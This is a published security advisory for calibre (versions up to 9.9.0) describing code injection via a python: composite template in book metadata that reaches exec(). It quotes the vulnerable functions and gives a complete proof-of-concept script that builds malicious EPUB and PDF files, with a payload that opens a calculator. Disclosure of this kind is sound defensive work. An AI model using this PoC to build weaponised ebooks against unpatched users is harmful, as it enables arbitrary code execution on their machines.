Skip to content

Arbitrary Code Execution in Template Formatter via Book Metadata

High
kovidgoyal published GHSA-2j4m-2q7x-2c47 Jun 26, 2026

Package

calibre

Affected versions

<= 9.9.0

Patched versions

9.10.0

Description

Summary

A malicious EPUB, OPF or PDF file can execute arbitrary Python code when its metadata is read by calibre (e.g. Add books, Edit books). The file embeds a custom column definition with a python: template in calibre:user_metadata, which is passed unsanitized to exec() in the template formatter.

Details

When calibre reads book metadata, read_user_metadata parses custom column definitions via json.loads() and stores them verbatim through set_user_metadata(), including executable template strings, with no validation or sanitization.

def read_user_metadata(self):
self._user_metadata_ = {}
temp = Metadata('x', ['x'])
from calibre.ebooks.metadata.book.json_codec import decode_is_multiple
from calibre.utils.config import from_json
elems = self.root.xpath('//*[name() = "meta" and starts-with(@name,'
'"calibre:user_metadata:") and @content]')
for elem in elems:
name = elem.get('name')
name = ':'.join(name.split(':')[2:])
if not name or not name.startswith('#'):
continue
fm = elem.get('content')
try:
fm = json.loads(fm, object_hook=from_json)
decode_is_multiple(fm)
temp.set_user_metadata(name, fm)

def read_user_metadata(mi, root):
from calibre.ebooks.metadata.book.json_codec import decode_is_multiple
from calibre.utils.config import from_json
fields = set()
for item in XPath('//calibre:custom_metadata')(root):
for li in XPath('./rdf:Bag/rdf:li')(item):
name = XPath('descendant::calibreCC:name')(li)
if name:
name = name[0].text
if name.startswith('#') and name not in fields:
val = XPath('descendant::rdf:value')(li)
if val:
fm = val[0].text
try:
fm = json.loads(fm, object_hook=from_json)
decode_is_multiple(fm)
mi.set_user_metadata(name, fm)

composite_template

Evaluated immediately on metadata read when a composite custom column has #value#: null:

if field in _data['user_metadata']:
d = _data['user_metadata'][field]
val = d['#value#']
if val is None and d['datatype'] == 'composite':
from calibre.utils.formatter import TEMPLATE_ERROR
d['#value#'] = 'RECURSIVE_COMPOSITE FIELD (Metadata) ' + field
val = d['#value#'] = self.formatter.safe_format(
d['display']['composite_template'],
self,
TEMPLATE_ERROR,
self, column_name=field,
template_cache=self.template_cache).strip()

This reaches exec() through the call chain: safe_format()evaluate()_eval_python_template()compile_python_template()exec().

def compile_python_template(self, template):
if os.environ.get('CALIBRE_ALLOW_PYTHON_TEMPLATES', '1') != '1':
raise ValueError(_('Python templates disallowed by the {} environment variable'
).format('CALIBRE_ALLOW_PYTHON_TEMPLATES'))
def replace_func(mo):
return mo.group().replace('\t', ' ')
prog ='\n'.join([re.sub(r'^\t*', replace_func, line)
for line in template.splitlines()])
locals_ = {}
if DEBUG and tweaks.get('enable_template_debug_printing', False):
print(prog)
try:
exec(prog, locals_)

CALIBRE_ALLOW_PYTHON_TEMPLATES defaults to '1' (enabled), so compile_python_template() passes the check and continues to exec().

PDF via XMP metadata

For PDF files, calibre reads XMP metadata via pdfinfo, then consolidate_metadata() calls metadata_from_xmp_packet() which parses calibre:custom_metadata the same way:

if 'xmp_metadata' in info:
from calibre.ebooks.metadata.xmp import consolidate_metadata
mi = consolidate_metadata(mi, info)

PoC

poc.mp4

poc.py

import json, os, zipfile
from xml.sax.saxutils import quoteattr, escape
from pypdf import PdfWriter
from pypdf.generic import DecodedStreamObject, NameObject

PAYLOAD = '''python:
def evaluate(book, context):
    import sys, subprocess
    if sys.platform.startswith('win'):
        subprocess.Popen('calc.exe')
    elif sys.platform == 'darwin':
        subprocess.Popen(['open', '-a', 'Calculator'])
    return ''
'''

## epub
fm = {"datatype": "composite", "is_multiple": None, "name": "aaaa", "label": "aaaa",
      "is_custom": True, "kind": "field", "is_editable": True, "#value#": None,
      "display": {"composite_template": PAYLOAD, "composite_sort": "text",
                  "use_decorations": 0, "make_category": False, "contains_html": False}}

opf = ('<?xml version="1.0" encoding="utf-8"?>\n'
 '<package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="id">\n'
 ' <metadata xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:opf="http://www.idpf.org/2007/opf">\n'
 '  <dc:title>Test Book</dc:title>\n'
 '  <dc:creator opf:role="aut">aaaaaaaa</dc:creator>\n'
 '  <dc:identifier id="id" opf:scheme="uuid">12345678-1234-1234-1234-123456789abc</dc:identifier>\n'
 '  <meta name="calibre:user_metadata:#aaaa" content=' + quoteattr(json.dumps(fm)) + '/>\n'
 ' </metadata>\n'
 ' <manifest><item id="t" href="t.html" media-type="application/xhtml+xml"/></manifest>\n'
 ' <spine><itemref idref="t"/></spine>\n'
 '</package>\n')

container = ('<?xml version="1.0"?>\n'
 '<container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">\n'
 ' <rootfiles><rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/></rootfiles>\n'
 '</container>\n')

out = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'aaaa.epub')
with zipfile.ZipFile(out, 'w', zipfile.ZIP_DEFLATED) as z:
    z.writestr('mimetype', 'application/epub+zip', compress_type=zipfile.ZIP_STORED)
    z.writestr('META-INF/container.xml', container)
    z.writestr('OEBPS/content.opf', opf)
    z.writestr('OEBPS/t.html', '<html><body>hi</body></html>')

print(f'[*] open {out}')

## pdf
fm_json = escape(json.dumps(fm))

xmp = ('<?xpacket begin="\xef\xbb\xbf" id="W5M0MpCehiHzreSzNTczkc9d"?>\n'
 '<x:xmpmeta xmlns:x="adobe:ns:meta/">\n'
 ' <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">\n'
 '  <rdf:Description rdf:about=""\n'
 '     xmlns:calibre="http://calibre-ebook.com/xmp-namespace"\n'
 '     xmlns:calibreCC="http://calibre-ebook.com/xmp-namespace-custom-columns">\n'
 '   <calibre:custom_metadata>\n'
 '    <rdf:Bag>\n'
 '     <rdf:li rdf:parseType="Resource">\n'
 '      <calibreCC:name>#aaaa</calibreCC:name>\n'
 '      <rdf:value>' + fm_json + '</rdf:value>\n'
 '     </rdf:li>\n'
 '    </rdf:Bag>\n'
 '   </calibre:custom_metadata>\n'
 '  </rdf:Description>\n'
 ' </rdf:RDF>\n'
 '</x:xmpmeta>\n'
 '<?xpacket end="w"?>').encode('utf-8')

writer = PdfWriter()
writer.add_blank_page(width=612, height=792)

meta_stream = DecodedStreamObject()
meta_stream.set_data(xmp)
meta_stream.update({
    NameObject("/Type"): NameObject("/Metadata"),
    NameObject("/Subtype"): NameObject("/XML"),
})
writer._root_object[NameObject("/Metadata")] = writer._add_object(meta_stream)

pdf_out = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'aaaa.pdf')
writer.write(pdf_out)

print(f'[*] open {pdf_out}')

Run poc.py, then open aaaa.epub or aaaa.pdf in calibre.

Impact

Same as the summary above.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-53511

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. eval). Learn more on MITRE.

Credits